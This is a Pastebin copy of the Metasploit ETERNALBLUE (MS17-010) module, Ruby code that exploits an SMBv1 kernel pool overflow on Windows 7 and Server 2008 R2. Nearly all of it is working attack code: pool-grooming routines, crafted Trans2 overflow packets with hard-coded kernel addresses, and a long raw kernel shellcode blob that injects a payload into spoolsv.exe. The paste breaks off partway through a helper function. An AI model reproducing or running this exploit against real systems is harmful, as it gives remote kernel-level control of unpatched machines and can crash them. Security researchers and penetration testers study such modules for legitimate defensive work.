Advertisement
Guest User

ms17_010_eternalblue.rb

a guest
Jan 2nd, 2018
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.36 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. require 'ruby_smb'
  7. require 'ruby_smb/smb1/packet'
  8. require 'windows_error'
  9.  
  10. class MetasploitModule < Msf::Exploit::Remote
  11. Rank = AverageRanking
  12.  
  13. include Msf::Exploit::Remote::Tcp
  14.  
  15. def initialize(info = {})
  16. super(update_info(info,
  17. 'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
  18. 'Description' => %q{
  19. This module is a port of the Equation Group ETERNALBLUE exploit, part of
  20. the FuzzBunch toolkit released by Shadow Brokers.
  21.  
  22. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
  23. is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
  24. DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
  25. is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
  26. completed in srvnet!SrvNetWskReceiveComplete.
  27.  
  28. This exploit, like the original may not trigger 100% of the time, and should be
  29. run continuously until triggered. It seems like the pool will get hot streaks
  30. and need a cool down period before the shells rain in again.
  31.  
  32. The module will attempt to use Anonymous login, by default, to authenticate to perform the
  33. exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
  34. those instead.
  35.  
  36. On some systems, this module may cause system instability and crashes, such as a BSOD or
  37. a reboot. This may be more likely with some payloads.
  38. },
  39.  
  40. 'Author' => [
  41. 'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0
  42. 'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
  43. 'Equation Group',
  44. 'Shadow Brokers',
  45. 'thelightcosine' # RubySMB refactor and Fallback Credential mode
  46. ],
  47. 'License' => MSF_LICENSE,
  48. 'References' =>
  49. [
  50. [ 'AKA', 'ETERNALBLUE' ],
  51. [ 'MSB', 'MS17-010' ],
  52. [ 'CVE', '2017-0143' ],
  53. [ 'CVE', '2017-0144' ],
  54. [ 'CVE', '2017-0145' ],
  55. [ 'CVE', '2017-0146' ],
  56. [ 'CVE', '2017-0147' ],
  57. [ 'CVE', '2017-0148' ],
  58. [ 'URL', 'https://github.com/RiskSense-Ops/MS17-010' ]
  59. ],
  60. 'DefaultOptions' =>
  61. {
  62. 'EXITFUNC' => 'thread',
  63. },
  64. 'Privileged' => true,
  65. 'Payload' =>
  66. {
  67. 'Space' => 2000, # this can be more, needs to be recalculated
  68. 'EncoderType' => Msf::Encoder::Type::Raw,
  69. },
  70. 'Platform' => 'win',
  71. 'Targets' =>
  72. [
  73. [ 'Windows 7 and Server 2008 R2 (x64) All Service Packs',
  74. {
  75. 'Platform' => 'win',
  76. 'Arch' => [ ARCH_X64 ],
  77.  
  78. 'os_patterns' => ['Server 2008 R2', 'Windows 7'],
  79. 'ep_thl_b' => 0x308, # EPROCESS.ThreadListHead.Blink offset
  80. 'et_alertable' => 0x4c, # ETHREAD.Alertable offset
  81. 'teb_acp' => 0x2c8, # TEB.ActivationContextPointer offset
  82. 'et_tle' => 0x420 # ETHREAD.ThreadListEntry offset
  83. }
  84. ],
  85. ],
  86. 'DefaultTarget' => 0,
  87. 'DisclosureDate' => 'Mar 14 2017'
  88. ))
  89.  
  90. register_options(
  91. [
  92. Opt::RPORT(445),
  93. OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),
  94. OptInt.new( 'MaxExploitAttempts', [ true, "The number of times to retry the exploit.", 3 ] ),
  95. OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),
  96. OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ),
  97. OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ),
  98. OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ),
  99. OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']),
  100. OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']),
  101. OptString.new('SMBDomain', [ false, '(Optional) The Windows domain to use for authentication', '.']),
  102. ])
  103. end
  104.  
  105. class EternalBlueError < StandardError
  106. end
  107.  
  108. def check
  109. # todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
  110. end
  111.  
  112. def exploit
  113. begin
  114. for i in 1..datastore['MaxExploitAttempts']
  115.  
  116. grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)
  117.  
  118. smb_eternalblue(datastore['ProcessName'], grooms)
  119.  
  120. # we don't need this sleep, and need to find a way to remove it
  121. # problem is session_count won't increment until stage is complete :\
  122. secs = 0
  123. while !session_created? and secs < 5
  124. secs += 1
  125. sleep 1
  126. end
  127.  
  128. if session_created?
  129. print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  130. print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  131. print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  132. break
  133. else
  134. print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  135. print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  136. print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  137. end
  138. end
  139.  
  140. rescue EternalBlueError => e
  141. print_error("#{e.message}")
  142. rescue ::RubySMB::Error::UnexpectedStatusCode,
  143. ::Errno::ECONNRESET,
  144. ::Rex::HostUnreachable,
  145. ::Rex::ConnectionTimeout,
  146. ::Rex::ConnectionRefused => e
  147. print_error("#{e.class}: #{e.message}")
  148. rescue => error
  149. print_error(error.class.to_s)
  150. print_error(error.message)
  151. print_error(error.backtrace.join("\n"))
  152. ensure
  153. # pass
  154. end
  155. end
  156.  
  157. def smb_eternalblue(process_name, grooms)
  158. begin
  159. # Step 0: pre-calculate what we can
  160. shellcode = make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)
  161. payload_hdr_pkt = make_smb2_payload_headers_packet
  162. payload_body_pkt = make_smb2_payload_body_packet(shellcode)
  163.  
  164. # Step 1: Connect to IPC$ share
  165. print_status("Connecting to target for exploitation.")
  166. client, tree, sock, os = smb1_anonymous_connect_ipc()
  167. rescue RubySMB::Error::CommunicationError
  168. # Error handler in case SMBv1 disabled on target
  169. raise EternalBlueError, 'Could not make SMBv1 connection'
  170. else
  171. print_good("Connection established for exploitation.")
  172.  
  173. if verify_target(os)
  174. print_good('Target OS selected valid for OS indicated by SMB reply')
  175. else
  176. print_warning('Target OS selected not valid for OS indicated by SMB reply')
  177. print_warning('Disable VerifyTarget option to proceed manually...')
  178. raise EternalBlueError, 'Unable to continue with improper OS Target.'
  179. end
  180.  
  181. # cool buffer print no matter what, will be helpful when people post debug issues
  182. print_core_buffer(os)
  183.  
  184. if verify_arch
  185. print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
  186. else
  187. print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
  188. print_warning('Disable VerifyArch option to proceed manually...')
  189. raise EternalBlueError, 'Unable to continue with improper OS Arch.'
  190. end
  191.  
  192. print_status("Trying exploit with #{grooms} Groom Allocations.")
  193.  
  194. # Step 2: Create a large SMB1 buffer
  195. print_status("Sending all but last fragment of exploit packet")
  196. smb1_large_buffer(client, tree, sock)
  197.  
  198. # Step 3: Groom the pool with payload packets, and open/close SMB1 packets
  199. print_status("Starting non-paged pool grooming")
  200.  
  201. # initialize_groom_threads(ip, port, payload, grooms)
  202. fhs_sock = smb1_free_hole(true)
  203.  
  204. @groom_socks = []
  205.  
  206. print_good("Sending SMBv2 buffers")
  207. smb2_grooms(grooms, payload_hdr_pkt)
  208.  
  209. fhf_sock = smb1_free_hole(false)
  210.  
  211. print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
  212. fhs_sock.shutdown()
  213.  
  214. print_status("Sending final SMBv2 buffers.") # 6x
  215. smb2_grooms(6, payload_hdr_pkt) # todo: magic #
  216.  
  217. fhf_sock.shutdown()
  218.  
  219. print_status("Sending last fragment of exploit packet!")
  220. final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
  221. sock.put(final_exploit_pkt)
  222.  
  223. print_status("Receiving response from exploit packet")
  224. code, raw = smb1_get_response(sock)
  225.  
  226. code_str = "0x" + code.to_i.to_s(16).upcase
  227. if code.nil?
  228. print_error("Did not receive a response from exploit packet")
  229. elsif code == 0xc000000d # STATUS_INVALID_PARAMETER (0xC000000D)
  230. print_good("ETERNALBLUE overwrite completed successfully (#{code_str})!")
  231. else
  232. print_warning("ETERNALBLUE overwrite returned unexpected status code (#{code_str})!")
  233. end
  234.  
  235. # Step 4: Send the payload
  236. print_status("Sending egg to corrupted connection.")
  237.  
  238. @groom_socks.each{ |gsock| gsock.put(payload_body_pkt.first(2920)) }
  239. @groom_socks.each{ |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }
  240.  
  241. print_status("Triggering free of corrupted buffer.")
  242. # tree disconnect
  243. # logoff and x
  244. # note: these aren't necessary, just close the sockets
  245. return true
  246. ensure
  247. abort_sockets
  248. end
  249. end
  250.  
  251. def verify_target(os)
  252. os = os.gsub("\x00", '') # strip unicode bs
  253. os << "\x00" # but original has a null
  254. ret = true
  255.  
  256. if datastore['VerifyTarget']
  257. ret = false
  258. # search if its in patterns
  259. target['os_patterns'].each do |pattern|
  260. if os.downcase.include? pattern.downcase
  261. ret = true
  262. break
  263. end
  264. end
  265. end
  266.  
  267. return ret
  268. end
  269.  
  270. # https://github.com/CoreSecurity/impacket/blob/master/examples/getArch.py
  271. # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
  272. def verify_arch
  273. ret = false
  274.  
  275. return true if !datastore['VerifyArch']
  276.  
  277. pkt = Rex::Proto::DCERPC::Packet.make_bind(
  278. # Abstract Syntax: EPMv4 V3.0
  279. 'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
  280. # Transfer Syntax[1]: 64bit NDR V1
  281. '71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
  282. ).first
  283.  
  284. begin
  285. sock = connect(false,
  286. 'RHOST' => rhost,
  287. 'RPORT' => 135
  288. )
  289. rescue Rex::ConnectionError => e
  290. print_error(e.to_s)
  291. return false
  292. end
  293.  
  294. sock.put(pkt)
  295.  
  296. begin
  297. res = sock.get_once(60)
  298. rescue EOFError
  299. print_error('DCE/RPC socket returned EOFError')
  300. return false
  301. end
  302.  
  303. disconnect(sock)
  304.  
  305. begin
  306. resp = Rex::Proto::DCERPC::Response.new(res)
  307. rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
  308. print_error(e.to_s)
  309. return false
  310. end
  311.  
  312. case target_arch.first
  313. when ARCH_X64
  314. # Ack result: Acceptance (0)
  315. if resp.ack_result.first == 0
  316. ret = true
  317. end
  318. when ARCH_X86
  319. # Ack result: Provider rejection (2)
  320. # Ack reason: Proposed transfer syntaxes not supported (2)
  321. if resp.ack_result.first == 2 && resp.ack_reason.first == 2
  322. ret = true
  323. end
  324. end
  325.  
  326. ret
  327. end
  328.  
  329. def print_core_buffer(os)
  330. print_status("CORE raw buffer dump (#{os.length.to_s} bytes)")
  331.  
  332. count = 0
  333. chunks = os.scan(/.{1,16}/)
  334. chunks.each do | chunk |
  335. hexdump = chunk.chars.map { |ch| ch.ord.to_s(16).rjust(2, "0") }.join(" ")
  336.  
  337. format = "0x%08x %-47s %-16s" % [(count * 16), hexdump, chunk]
  338. print_status(format)
  339. count += 1
  340. end
  341. end
  342.  
  343. #
  344. # Increase the default delay by five seconds since some kernel-mode
  345. # payloads may not run immediately.
  346. #
  347. def wfs_delay
  348. super + 5
  349. end
  350.  
  351.  
  352. def smb2_grooms(grooms, payload_hdr_pkt)
  353. grooms.times do |groom_id|
  354. gsock = connect(false)
  355. @groom_socks << gsock
  356. gsock.put(payload_hdr_pkt)
  357. end
  358. end
  359.  
  360. def smb1_anonymous_connect_ipc
  361. sock = connect(false)
  362. dispatcher = RubySMB::Dispatcher::Socket.new(sock)
  363. client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
  364. response_code = client.login
  365.  
  366. unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
  367. raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code.to_s}"
  368. end
  369. os = client.peer_native_os
  370.  
  371. tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
  372.  
  373. return client, tree, sock, os
  374. end
  375.  
  376. def smb1_large_buffer(client, tree, sock)
  377. nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)
  378.  
  379. # send NT Trans
  380. vprint_status("Sending NT Trans Request packet")
  381.  
  382. client.send_recv(nt_trans_pkt)
  383. # Initial Trans2 request
  384. trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
  385.  
  386. # send all but last packet
  387. for i in 1..14
  388. trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
  389. end
  390.  
  391. vprint_status("Sending malformed Trans2 packets")
  392. sock.put(trans2_pkt_nulled)
  393.  
  394. sock.get_once
  395.  
  396. client.echo(count:1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
  397. end
  398.  
  399. def smb1_free_hole(start)
  400. sock = connect(false)
  401. dispatcher = RubySMB::Dispatcher::Socket.new(sock)
  402. client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
  403. client.negotiate
  404.  
  405. pkt = ""
  406.  
  407. if start
  408. vprint_status("Sending start free hole packet.")
  409. pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")
  410. else
  411. vprint_status("Sending end free hole packet.")
  412. pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
  413. end
  414.  
  415. client.send_recv(pkt)
  416. sock
  417. end
  418.  
  419. def smb1_get_response(sock)
  420. raw = nil
  421.  
  422. # dirty hack since it doesn't always like to reply the first time...
  423. 16.times do
  424. raw = sock.get_once
  425. break unless raw.nil? or raw.empty?
  426. end
  427.  
  428. return nil unless raw
  429. response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
  430. code = response.nt_status
  431. return code, raw, response
  432. end
  433.  
  434. def make_smb2_payload_headers_packet
  435. # don't need a library here, the packet is essentially nonsensical
  436. pkt = ""
  437. pkt << "\x00" # session message
  438. pkt << "\x00\xff\xf7" # size
  439. pkt << "\xfeSMB" # SMB2
  440. pkt << "\x00" * 124
  441.  
  442. pkt
  443. end
  444.  
  445. def make_smb2_payload_body_packet(kernel_user_payload)
  446. # precalculated lengths
  447. pkt_max_len = 4204
  448. pkt_setup_len = 497
  449. pkt_max_payload = pkt_max_len - pkt_setup_len # 3575
  450.  
  451. # this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
  452. pkt = ""
  453.  
  454. # padding
  455. pkt << "\x00" * 0x8
  456. pkt << "\x03\x00\x00\x00"
  457. pkt << "\x00" * 0x1c
  458. pkt << "\x03\x00\x00\x00"
  459. pkt << "\x00" * 0x74
  460.  
  461. # KI_USER_SHARED_DATA addresses
  462. pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address
  463. pkt << "\x00" * 0x10
  464. pkt << "\xc0\xf0\xdf\xff" * 2 # x86 address
  465. pkt << "\x00" * 0xc4
  466.  
  467. # payload addreses
  468. pkt << "\x90\xf1\xdf\xff"
  469. pkt << "\x00" * 0x4
  470. pkt << "\xf0\xf1\xdf\xff"
  471. pkt << "\x00" * 0x40
  472.  
  473. pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"
  474. pkt << "\x00" * 0x8
  475. pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"
  476. pkt << "\x00"
  477.  
  478. pkt << kernel_user_payload
  479.  
  480. # fill out the rest, this can be randomly generated
  481. pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)
  482.  
  483. pkt
  484. end
  485.  
  486. # Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
  487. def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
  488. timeout = (timeout * 0x10) + 3
  489. timeout_value = "\x35\x00\xd0" + timeout.chr
  490.  
  491. packet = RubySMB::SMB1::Packet::Trans2::Request.new
  492. packet = set_smb1_headers(packet,tree_id,user_id)
  493.  
  494. # The packets are labeled as Secondary Requests but are actually structured
  495. # as normal Trans2 Requests for some reason. We shall similarly cheat here.
  496. packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
  497.  
  498. packet.parameter_block.flags.read("\x00\x10")
  499. packet.parameter_block.timeout.read(timeout_value)
  500.  
  501. packet.parameter_block.word_count = 9
  502. packet.parameter_block.total_data_count = 4096
  503. packet.parameter_block.parameter_count = 4096
  504.  
  505. nbss = "\x00\x00\x10\x35"
  506. pkt = packet.to_binary_s
  507. pkt = pkt[0,packet.parameter_block.parameter_offset.abs_offset]
  508. pkt = nbss + pkt
  509.  
  510. case type
  511. when :eb_trans2_exploit
  512. vprint_status("Making :eb_trans2_exploit packet")
  513.  
  514. pkt << "\x41" * 2957
  515.  
  516. pkt << "\x80\x00\xa8\x00" # overflow
  517.  
  518. pkt << "\x00" * 0x10
  519. pkt << "\xff\xff"
  520. pkt << "\x00" * 0x6
  521. pkt << "\xff\xff"
  522. pkt << "\x00" * 0x16
  523.  
  524. pkt << "\x00\xf1\xdf\xff" # x86 addresses
  525. pkt << "\x00" * 0x8
  526. pkt << "\x20\xf0\xdf\xff"
  527.  
  528. pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
  529.  
  530. pkt << "\x60\x00\x04\x10"
  531. pkt << "\x00" * 4
  532.  
  533. pkt << "\x80\xef\xdf\xff"
  534.  
  535. pkt << "\x00" * 4
  536. pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
  537. pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
  538. pkt << "\x00" * 0x10
  539.  
  540. pkt << "\x60\x00\x04\x10"
  541. pkt << "\x00" * 0xc
  542. pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
  543. pkt << "\x00" * 0x8
  544. pkt << "\x80\x10"
  545. pkt << "\x00" * 0xe
  546. pkt << "\x39"
  547. pkt << "\xbb"
  548.  
  549. pkt << "\x41" * 965
  550. when :eb_trans2_zero
  551. vprint_status("Making :eb_trans2_zero packet")
  552. pkt << "\x00" * 2055
  553. pkt << "\x83\xf3"
  554. pkt << "\x41" * 2039
  555. else
  556. vprint_status("Making :eb_trans2_buffer packet")
  557. pkt << "\x41" * 4096
  558. end
  559. pkt
  560. end
  561.  
  562. def make_smb1_nt_trans_packet(tree_id, user_id)
  563. packet = RubySMB::SMB1::Packet::NtTrans::Request.new
  564.  
  565. # Disable the automatic padding because it will distort
  566. # our values here.
  567. packet.data_block.enable_padding = false
  568.  
  569. packet = set_smb1_headers(packet,tree_id,user_id)
  570.  
  571. packet.parameter_block.max_setup_count = 1
  572. packet.parameter_block.total_parameter_count = 30
  573. packet.parameter_block.total_data_count = 66512
  574. packet.parameter_block.max_parameter_count = 30
  575. packet.parameter_block.max_data_count = 0
  576. packet.parameter_block.parameter_count = 30
  577. packet.parameter_block.parameter_offset = 75
  578. packet.parameter_block.data_count = 976
  579. packet.parameter_block.data_offset = 104
  580. packet.parameter_block.function = 0
  581.  
  582. packet.parameter_block.setup << 0x0000
  583.  
  584. packet.data_block.byte_count = 1004
  585. packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 )
  586. packet
  587. end
  588.  
  589. def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
  590. packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
  591.  
  592. packet.smb_header.flags.read("\x18")
  593. packet.smb_header.flags2.read(flags2)
  594. packet.smb_header.pid_high = 65279
  595. packet.smb_header.mid = 64
  596.  
  597. packet.parameter_block.vc_number.read(vcnum)
  598. packet.parameter_block.max_buffer_size = 4356
  599. packet.parameter_block.max_mpx_count = 10
  600. packet.parameter_block.security_blob_length = 0
  601.  
  602. packet.data_block.native_os = native_os
  603. packet.data_block.native_lan_man = "\x00" * 17
  604. packet
  605. end
  606.  
  607. # ring3 = user mode encoded payload
  608. # proc_name = process to inject APC into
  609. # ep_thl_b = EPROCESS.ThreadListHead.Blink offset
  610. # et_alertable = ETHREAD.Alertable offset
  611. # teb_acp = TEB.ActivationContextPointer offset
  612. # et_tle = ETHREAD.ThreadListEntry offset
  613. def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)
  614. sc = make_kernel_shellcode
  615. sc << [ring3.length].pack("S<")
  616. sc << ring3
  617. sc
  618. end
  619.  
  620. def make_kernel_shellcode
  621. # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
  622. # Length: 1019 bytes
  623.  
  624. #"\xcc"+
  625. "\x31\xC9\x41\xE2\x01\xC3\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8" +
  626. "\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A" +
  627. "\x00\x00\x00\x48\x89\xC2\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8" +
  628. "\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01" +
  629. "\x00\x00\x50\x53\x51\x52\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41" +
  630. "\x53\x41\x54\x41\x55\x41\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10" +
  631. "\x00\x00\x00\x41\x53\x6A\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55" +
  632. "\x48\x81\xEC\x58\x01\x00\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48" +
  633. "\x89\x9D\xC0\x00\x00\x00\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5" +
  634. "\xD0\x00\x00\x00\x48\xA1\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89" +
  635. "\xC2\x48\xC1\xEA\x20\x48\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00" +
  636. "\x00\xC0\x0F\x30\xFB\xE8\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25" +
  637. "\xA8\x01\x00\x00\x48\x83\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C" +
  638. "\x41\x5B\x41\x5A\x41\x59\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65" +
  639. "\x48\x8B\x24\x25\x10\x00\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F" +
  640. "\xD0\xFF\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5" +
  641. "\x66\x83\xE4\xF0\x48\x83\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65" +
  642. "\x4C\x8B\x3C\x25\x38\x00\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C" +
  643. "\x49\xC1\xE7\x0C\x49\x81\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81" +
  644. "\xFE\x4D\x5A\x75\xEF\x41\xBB\x5C\x72\x11\x62\xE8\x18\x02\x00\x00" +
  645. "\x48\x89\xC6\x48\x81\xC6\x08\x03\x00\x00\x41\xBB\x7A\xBA\xA3\x30" +
  646. "\xE8\x03\x02\x00\x00\x48\x89\xF1\x48\x39\xF0\x77\x11\x48\x8D\x90" +
  647. "\x00\x05\x00\x00\x48\x39\xF2\x72\x05\x48\x29\xC6\xEB\x08\x48\x8B" +
  648. "\x36\x48\x39\xCE\x75\xE2\x49\x89\xF4\x31\xDB\x89\xD9\x83\xC1\x04" +
  649. "\x81\xF9\x00\x00\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89" +
  650. "\xCB\x41\xBB\x66\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB" +
  651. "\x49\x8B\x0E\x41\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89" +
  652. "\xC6\xE8\x50\x01\x00\x00\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49" +
  653. "\x8B\x1E\x4D\x8D\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24" +
  654. "\x11\xDC\xE8\x81\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D" +
  655. "\x4E\x08\x49\xC7\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31" +
  656. "\xC9\x48\x89\x0A\x48\xF7\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC" +
  657. "\x20\xE8\x52\x01\x00\x00\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B" +
  658. "\x3E\x48\x8D\x35\xE9\x00\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00" +
  659. "\x00\x66\x81\xC1\xF9\x00\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03" +
  660. "\x00\x00\x48\x89\xF1\x48\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1" +
  661. "\x48\x83\xEC\x20\x41\xBB\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48" +
  662. "\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00" +
  663. "\x00\x48\x85\xC0\x74\x0C\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05" +
  664. "\x72\x05\x48\x8B\x09\xEB\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2" +
  665. "\x80\xC2\x90\x31\xC9\x41\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00" +
  666. "\x48\x89\xC1\x4C\x8D\x89\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89" +
  667. "\xE2\x49\x89\xC4\x4D\x31\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41" +
  668. "\x50\x48\x83\xEC\x20\x41\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00" +
  669. "\x31\xD2\x52\x52\x41\x58\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09" +
  670. "\x9E\xE8\x82\x00\x00\x00\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8" +
  671. "\x74\x00\x00\x00\x48\x89\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00" +
  672. "\x00\x00\x48\x89\xEC\x5D\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E" +
  673. "\xC3\xE9\xB5\x00\x00\x00\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D" +
  674. "\x3C\x61\x7C\x02\x2C\x20\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2" +
  675. "\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12" +
  676. "\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C" +
  677. "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39" +
  678. "\xD9\x75\xDA\x4C\x8B\x7A\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52" +
  679. "\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" +
  680. "\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" +
  681. "\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" +
  682. "\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" +
  683. "\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" +
  684. "\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" +
  685. "\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" +
  686. "\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" +
  687. "\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" +
  688. "\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"
  689.  
  690. end
  691.  
  692. # Sets common SMB1 Header values used by the various
  693. # packets in the exploit.
  694. #
  695. # @rturn [RubySMB::GenericPacket] the modified version of the packet
  696. def set_smb1_headers(packet,tree_id,user_id)
